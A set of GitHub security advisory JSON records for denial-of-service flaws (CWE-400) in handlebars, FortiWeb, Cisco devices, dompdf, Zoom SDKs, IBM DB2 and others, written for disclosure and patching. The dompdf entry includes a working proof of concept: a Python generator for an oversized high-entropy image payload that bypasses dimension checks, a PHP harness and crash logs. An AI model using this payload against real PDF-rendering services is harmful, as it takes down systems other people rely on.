CWE-400

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:54:21Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Affected versions of `handlebars` are vulnerable to Denial of Service. The package\u0027s parser may be forced into an endless loop while processing specially-crafted templates. This may allow attackers to exhaust system resources leading to Denial of Service.\n\n\n## Recommendation\n\nUpgrade to version 4.4.5 or later.",
  "id": "GHSA-f52g-6jhx-586p",
  "modified": "2020-08-31T18:54:21Z",
  "published": "2020-09-03T23:20:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1300"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Denial of Service in handlebars"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-36187"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-02T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "A uncontrolled resource consumption in Fortinet FortiWeb version 6.4.0, version 6.3.15 and below, 6.2.5 and below allows attacker to cause a denial of service for webserver daemon via crafted HTTP requests",
  "id": "GHSA-f52h-53cg-xm8m",
  "modified": "2022-05-24T19:19:25Z",
  "published": "2022-05-24T19:19:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36187"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.com/advisory/FG-IR-21-039"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-15264"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-16T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the Control and Provisioning of Wireless Access Points (CAPWAP) protocol implementation of Cisco Aironet and Catalyst 9100 Access Points (APs) could allow an unauthenticated, adjacent attacker to cause an affected device to restart unexpectedly, resulting in a denial of service (DoS) condition. The vulnerability is due to improper resource management during CAPWAP message processing. An attacker could exploit this vulnerability by sending a high volume of legitimate wireless management frames within a short time to an affected device. A successful exploit could allow the attacker to cause a device to restart unexpectedly, resulting in a DoS condition for clients associated with the AP.",
  "id": "GHSA-f532-rj5q-c6j3",
  "modified": "2024-04-04T02:27:58Z",
  "published": "2022-05-24T16:58:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15264"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20191016-airo-capwap-dos"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-36724"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-09T19:17:42Z",
    "severity": "MODERATE"
  },
  "details": "An uncaught exception in the /application/job/update/{id} endpoint of FastapiAdmin v2.2.0 allows authenticated attackers with the module_task:job:update permission to cause a Denial of Service (DoS) via manipulating the func field of scheduled tasks.",
  "id": "GHSA-f579-6hrx-73xg",
  "modified": "2026-06-09T21:32:34Z",
  "published": "2026-06-09T21:32:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-36724"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CC-T-454455/Vulnerabilities/tree/master/fastapi-admin/vulnerability-8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-15437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-11-08T17:29:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the system scanning component of Cisco Immunet and Cisco Advanced Malware Protection (AMP) for Endpoints running on Microsoft Windows could allow a local attacker to disable the scanning functionality of the product. This could allow executable files to be launched on the system without being analyzed for threats. The vulnerability is due to improper process resource handling. An attacker could exploit this vulnerability by gaining local access to a system running Microsoft Windows and protected by Cisco Immunet or Cisco AMP for Endpoints and executing a malicious file. A successful exploit could allow the attacker to prevent the scanning services from functioning properly and ultimately prevent the system from being protected from further intrusion.",
  "id": "GHSA-f582-5356-9mc6",
  "modified": "2022-05-13T01:16:15Z",
  "published": "2022-05-13T01:16:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15437"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181107-imm-dos"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/45829"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105867"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-4727"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-24T13:16:08Z",
    "severity": "HIGH"
  },
  "details": "Denial-of-service in the Libraries component in NSS. This vulnerability affects Firefox \u003c 149.",
  "id": "GHSA-f58q-fr7j-32m6",
  "modified": "2026-03-25T21:30:28Z",
  "published": "2026-03-24T15:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4727"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2008112"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-20"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-23"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dotty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-25912"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-02-03T07:41:22Z",
    "nvd_published_at": "2021-02-02T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Prototype pollution vulnerability in \u0027dotty\u0027 before version 0.1.1 allows attackers to cause a denial of service and may lead to remote code execution.",
  "id": "GHSA-f5c9-x9j6-87qp",
  "modified": "2023-08-08T19:28:24Z",
  "published": "2021-02-05T20:43:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25912"
    },
    {
      "type": "WEB",
      "url": "https://github.com/deoxxa/dotty/commit/cd997d37917186c131be71501a698803f2b7ebdb"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/dotty"
    },
    {
      "type": "WEB",
      "url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25912"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype pollution in dotty"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-36533"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-08T18:15:14Z",
    "severity": "HIGH"
  },
  "details": "Uncontrolled resource consumption in Zoom SDKs before 5.14.7 may allow an unauthenticated user to enable a denial of service via network access.",
  "id": "GHSA-f5cr-mp3h-4jjj",
  "modified": "2024-04-04T06:41:59Z",
  "published": "2023-08-08T18:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36533"
    },
    {
      "type": "WEB",
      "url": "https://explore.zoom.us/en/trust/security/security-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "dompdf/dompdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59942"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T22:51:40Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nDompdf v3.1.5 is vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels).\n\nWhile Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers.\n\n### Technical Deep Dive:\nStandard solid-color images can often be optimized by compression algorithms or rendering engines. However, a high-entropy noise image forces the PHP engine to process each of the 900 million pixels individually. When render() is called, the engine attempts to handle the uncompressed bitmap in memory and calculate the layout for every high-variance pixel data point. This leads to:\n- **100% CPU Saturation:** The rendering thread hangs indefinitely trying to process the pixel stream.\n- **Process Termination:** The massive memory allocation (verified at ~1.2 GB for a single image) triggers a Fatal Error or an OS-level SIGKILL (OOM), resulting in an immediate Denial of Service.\n\n### Details\nThe vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object\u0027s bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check.\n\n### PoC (Proof of Concept)\n1. Install Dompdf v3.1.5 via Composer.\n```\ncomposer require dompdf/dompdf:3.1.5\n```\n2. Use the following Python script to generate the malicious payload (`exploit.py`):\n```python\nfrom PIL import Image\nimport base64\nfrom io import BytesIO\nimport os\n\nDIMENSIONS = (30000, 30000) \nOUTPUT_FILE = \"payload.html\"\n\ndef generate_noise_bomb():\n    print(f\"[*] Generating {DIMENSIONS[0]}x{DIMENSIONS[1]} High-Entropy Noise Bomb...\")\n    \n    random_bytes = os.urandom(DIMENSIONS[0] * DIMENSIONS[1])\n    image = Image.frombytes(\u0027L\u0027, DIMENSIONS, random_bytes)\n    \n    buffer = BytesIO()\n    # Using PNG instead of JPEG to force full bitmap decompression in memory\n    image.save(buffer, format=\"PNG\")\n    image_base64 = base64.b64encode(buffer.getvalue()).decode()\n\n    html_content = f\"\"\"\n    \u003chtml\u003e\n    \u003cbody\u003e\n        \u003cdiv style=\"overflow:hidden; width:1px; height:1px;\"\u003e\n            \u003cimg src=\"data:image/png;base64,{image_base64}\"\u003e\n        \u003c/div\u003e\n        \u003ch1\u003ePoC: Resource Exhaustion\u003c/h1\u003e\n    \u003c/body\u003e\n    \u003c/html\u003e\n    \"\"\"\n    \n    with open(OUTPUT_FILE, \"w\") as f:\n        f.write(html_content)\n    print(f\"[+] High-entropy payload saved to: {OUTPUT_FILE}\")\n\nif __name__ == \"__main__\":\n    generate_noise_bomb()\n```\n3. Use the following Python script to monitor the system resources in a separate terminal (`monitor.py`):\n```python\nimport psutil\nimport time\n\ndef start_monitoring():\n    print(\"[*] Searching for PHP processes... (Press Ctrl+C to stop)\")\n    try:\n        while True:\n            for proc in psutil.process_iter([\u0027pid\u0027, \u0027name\u0027, \u0027memory_info\u0027, \u0027cpu_percent\u0027]):\n                if \u0027php\u0027 in proc.info[\u0027name\u0027].lower():\n                    try:\n                        pid = proc.info[\u0027pid\u0027]\n                        mem = proc.info[\u0027memory_info\u0027].rss / (1024 * 1024)\n                        cpu = proc.cpu_percent(interval=0.1)\n                        print(f\"\\r[MONITOR] PID: {pid} | RAM: {mem:.2f} MB | CPU: {cpu}%\", end=\"\", flush=True)\n                    except (psutil.NoSuchProcess, psutil.AccessDenied):\n                        print(f\"\\n[!] CRASH DETECTED: Process {pid} terminated abruptly.\")\n                        return\n            time.sleep(0.05)\n    except KeyboardInterrupt:\n        print(\"\\n[*] Monitoring finished.\")\n\nif __name__ == \"__main__\":\n    start_monitoring()\n\n```\n4. Create a file named `render.php`. This script acts as the vulnerable entry point, mimicking a standard implementation of the Dompdf library:\n```php\n\u003c?php\nrequire_once __DIR__ . \u0027/vendor/autoload.php\u0027;\nuse Dompdf\\Dompdf;\nuse Dompdf\\Options;\n\n$options = new Options();\n$options-\u003eset(\u0027isRemoteEnabled\u0027, true);\n$options-\u003eset(\u0027isHtml5ParserEnabled\u0027, true);\n\n$dompdf = new Dompdf($options);\n\n$html = file_get_contents(\u0027php://stdin\u0027);\n\necho \"[*] Starting Dompdf rendering process...\\n\";\n\ntry {\n    $dompdf-\u003eloadHtml($html);\n    $dompdf-\u003erender(); // Point of resource exhaustion\n    echo \"[+] PDF rendered successfully.\\n\";\n} catch (Exception $e) {\n    echo \"[!] Render failed: \" . $e-\u003egetMessage() . \"\\n\";\n}\n```\n5. Execute the PHP process, providing the payload via stdin. We use a 2GB memory limit to demonstrate that the crash is caused by uncontrolled allocation rather than a restrictive server configuration:\n```\nphp -d memory_limit=2G render.php \u003c payload.html\n```\n6. The engine attempts to process every pixel of the high-entropy image. The monitor.py script will record 99.8% CPU saturation, followed by a PHP Fatal Error (Allowed memory size exhausted) as Dompdf attempts to allocate ~1.2 GB in a single operation. The process is then terminated, confirming the Denial of Service.\n\n## Proof of Concept Results\n\nhttps://github.com/user-attachments/assets/d7f936f4-570a-4dd8-8022-9c219664eb5b\n\nThe following logs demonstrate the successful exploitation of the resource exhaustion vulnerability. Despite a generous 2GB memory limit provided to the PHP process, a single high-entropy image causes a fatal crash.\n\nPayload Generation:\n```\npython3 exploit.py \n[*] Generating 30000x30000 High-Entropy Noise Bomb...\n[+] High-entropy payload saved to: payload.html\n```\n\nTarget Execution \u0026 Denial of Service:\n\n``` Command execution\nphp -d memory_limit=2G render.php \u003c payload.html\n```\n\n```\nOutput\n[*] Starting Dompdf rendering process...\nPHP Fatal error:  Allowed memory size of 2147483648 bytes exhausted (tried to allocate 1200355712 bytes) in /home/far00t/dompdf_exploit/vendor/dompdf/dompdf/src/Dompdf.php on line 490\n```\nWhile executing the render.php process, the monitor.py script captured the following telemetry, showing the impact on system resources:\n```\npython3 monitor.py \n[*] Searching for PHP processes... (Press Ctrl+C to stop)\n[MONITOR] PID: 210767 | RAM: 953.17 MB | CPU: 99.7%\n```\n\n### Key Findings from Telemetry:\n- CPU Starvation: The process reached a sustained 99.7% CPU usage. In a production environment, this level of saturation on a single-threaded PHP process effectively denies service to any other task on that core.\n- Rapid Memory Inflation: The resident memory (RSS) climbed to 953.17 MB just before the engine attempted the final allocation of 1.2 GB that triggered the Fatal error.\n- Bypass Confirmation: The telemetry proves that Dompdf\u0027s internal \"safe\" limits were bypassed, as the engine proceeded to attempt a massive bitmap decompression that the host environment could not sustain.\n\n\n## Impact\nAn unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf.\n\n## Credits\n- Offensive Security Researcher: Fabian Rosales (far00t01).",
  "id": "GHSA-f5gf-2cj8-52g2",
  "modified": "2026-07-22T22:51:40Z",
  "published": "2026-07-22T22:51:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-f5gf-2cj8-52g2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/commit/7c65e7bbeccf146b2409740405af73949ad129d0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/commit/89164eaabe0bb50c462f0b24f740044ba5fb0f99"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dompdf/dompdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dompdf: Denial of Service (DoS) via Resource Exhaustion using Oversized Image Bitmaps"
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-4135"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-02-19T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM DB2 for Linux, UNIX and Windows (includes DB2 Connect Server) 9.7, 10.1, 10.5, 11.1, and 11.5 could allow an unauthenticated user to send specially crafted packets to cause a denial of service from excessive memory usage.",
  "id": "GHSA-f5pg-467w-p7f7",
  "modified": "2022-05-24T17:09:21Z",
  "published": "2022-05-24T17:09:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4135"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/173806"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210108-0001"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/2876307"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}